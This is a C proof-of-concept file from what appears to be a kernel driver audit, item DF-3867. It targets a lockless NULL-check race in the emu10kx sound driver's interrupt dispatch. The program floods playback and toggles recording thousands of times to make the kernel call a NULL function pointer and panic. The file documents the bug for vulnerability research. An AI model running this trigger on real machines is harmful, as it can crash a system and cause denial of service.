DF-3867 / trigger.c
/* * DF-3867 — would-be runtime trigger for the emu_intr() dispatch race. * * On real emu10kx hardware: process A plays on /dev/dsp0 (keeps the card * generating interrupts), process B loops record START/STOP. Every STOP * runs emu_intr_unregister() under sc->lock, which NULLs * ihandler[i].irq_func/softc (emu10kx.c:964-967). The interrupt handler * emu_intr() (emu10kx.c:980-1033, INTR_MPSAFE, lockless) does: * * if (((sc->ihandler[i].intr_mask) & stat) != 0 && * ((void *)sc->ihandler[i].irq_func) != NULL) { // :995 * ack |= sc->ihandler[i].irq_func(sc->ihandler[i].softc, ...); // :996 * * The NULL check and the indirect call are two separate loads with no * synchronization against the unregistering thread — if STOP lands between * them, the kernel calls through a NULL function pointer -> panic. * * NOT RUN on the audit guest: no Creative Labs hardware (see DF-3866 pack, * same gate). Racing a hardirq from userland is also probabilistic even * on real hardware; this file documents the exact trigger shape. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> #include <sys/soundcard.h> #include <sys/wait.h> static void rec_loop(const char *dev, int iters) { int fd, i, trig, fmt = AFMT_S16_LE, speed = 48000; fd = open(dev, O_RDONLY); if (fd < 0) { printf("GATE: open %s: %s\n", dev, strerror(errno)); exit(77); } ioctl(fd, SNDCTL_DSP_SETFMT, &fmt); ioctl(fd, SNDCTL_DSP_SPEED, &speed); for (i = 0; i < iters; i++) { trig = PCM_ENABLE_INPUT; if (ioctl(fd, SNDCTL_DSP_SETTRIGGER, &trig) < 0) break; usleep(100); /* let interrupts flow */ trig = 0; /* unregister races hardirq */ if (ioctl(fd, SNDCTL_DSP_SETTRIGGER, &trig) < 0) break; } printf("rec_loop done %d cycles\n", i); close(fd); _exit(0); } int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/dsp0"; int pfd, trig, fmt = AFMT_S16_LE, speed = 48000, status; pid_t pid; /* playback keeps EMU_IPR_INTERVALTIMER interrupts arriving */ pfd = open(dev, O_WRONLY); if (pfd < 0) { printf("GATE: open %s: %s\n", dev, strerror(errno)); return (77); } ioctl(pfd, SNDCTL_DSP_SETFMT, &fmt); ioctl(pfd, SNDCTL_DSP_SPEED, &speed); trig = PCM_ENABLE_OUTPUT; ioctl(pfd, SNDCTL_DSP_SETTRIGGER, &trig); pid = fork(); if (pid == 0) rec_loop(dev, 100000); sleep(60); /* race window */ kill(pid, SIGKILL); waitpid(pid, &status, 0); trig = 0; ioctl(pfd, SNDCTL_DSP_SETTRIGGER, &trig); close(pfd); printf("if the kernel survived 60s of racing, no panic occurred\n"); return (0); } |